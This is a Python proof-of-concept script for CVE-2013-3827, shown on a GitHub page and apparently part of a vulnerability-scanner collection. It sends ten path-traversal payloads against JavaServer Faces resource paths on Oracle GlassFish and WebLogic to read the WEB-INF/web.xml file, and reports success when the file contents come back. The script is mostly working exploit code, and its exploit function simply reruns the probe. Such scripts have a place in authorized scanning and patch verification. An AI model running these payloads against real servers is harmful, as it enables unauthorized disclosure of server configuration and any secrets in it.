-
Notifications
You must be signed in to change notification settings - Fork 220
/
CVE-2013-3827.py
77 lines (64 loc) · 2.73 KB
/
CVE-2013-3827.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
import requests
# Vuln Base Info
def info():
return {
"author": "cckuailong",
"name": '''Javafaces LFI''',
"description": '''An Unspecified vulnerability in the Oracle GlassFish Server component in Oracle Fusion Middleware 2.1.1, 3.0.1, and 3.1.2; the Oracle JDeveloper component in Oracle Fusion Middleware 11.1.2.3.0, 11.1.2.4.0, and 12.1.2.0.0; and the Oracle WebLogic Server component in Oracle Fusion Middleware 10.3.6.0 and 12.1.1 allows remote attackers to affect confidentiality via unknown vectors related to Java Server Faces or Web Container.''',
"severity": "medium",
"references": [
"https://nvd.nist.gov/vuln/detail/CVE-2013-3827",
"https://www.exploit-db.com/exploits/38802",
"https://www.oracle.com/security-alerts/cpuoct2013.html"
],
"classification": {
"cvss-metrics": "",
"cvss-score": "",
"cve-id": "CVE-2013-3827",
"cwe-id": ""
},
"metadata":{
"vuln-target": "",
},
"tags": ["cve", "cve2013", "lfi", "javafaces", "oracle"],
}
# Vender Fingerprint
def fingerprint(url):
return True
# Proof of Concept
def poc(url):
result = {}
try:
url = format_url(url)
paths = [
"/costModule/faces/javax.faces.resource/web.xml?loc=../WEB-INF",
"/costModule/faces/javax.faces.resource./WEB-INF/web.xml.jsf?ln=..",
"/faces/javax.faces.resource/web.xml?loc=../WEB-INF",
"/faces/javax.faces.resource./WEB-INF/web.xml.jsf?ln=..",
"/secureader/javax.faces.resource/web.xml?loc=../WEB-INF",
"/secureader/javax.faces.resource./WEB-INF/web.xml.jsf?ln=..",
"/myaccount/javax.faces.resource/web.xml?loc=../WEB-INF",
"/myaccount/javax.faces.resource./WEB-INF/web.xml.jsf?ln=..",
"/SupportPortlet/faces/javax.faces.resource/web.xml?loc=../WEB-INF",
"/SupportPortlet/faces/javax.faces.resource./WEB-INF/web.xml.jsf?ln=.."
]
for path in paths:
resp = requests.get(url+path, timeout=10, verify=False, allow_redirects=False)
if resp.status_code == 200 and "<web-app" in resp.text and "</web-app>" in resp.text:
result["success"] = True
result["info"] = info()
result["payload"] = url+path
return result
except:
result["success"] = False
return result
# Exploit, can be same with poc()
def exp(url):
return poc(url)
# Utils
def format_url(url):
url = url.strip()
if not ( url.startswith('http://') or url.startswith('https://') ):
url = 'http://' + url
url = url.rstrip('/')
return url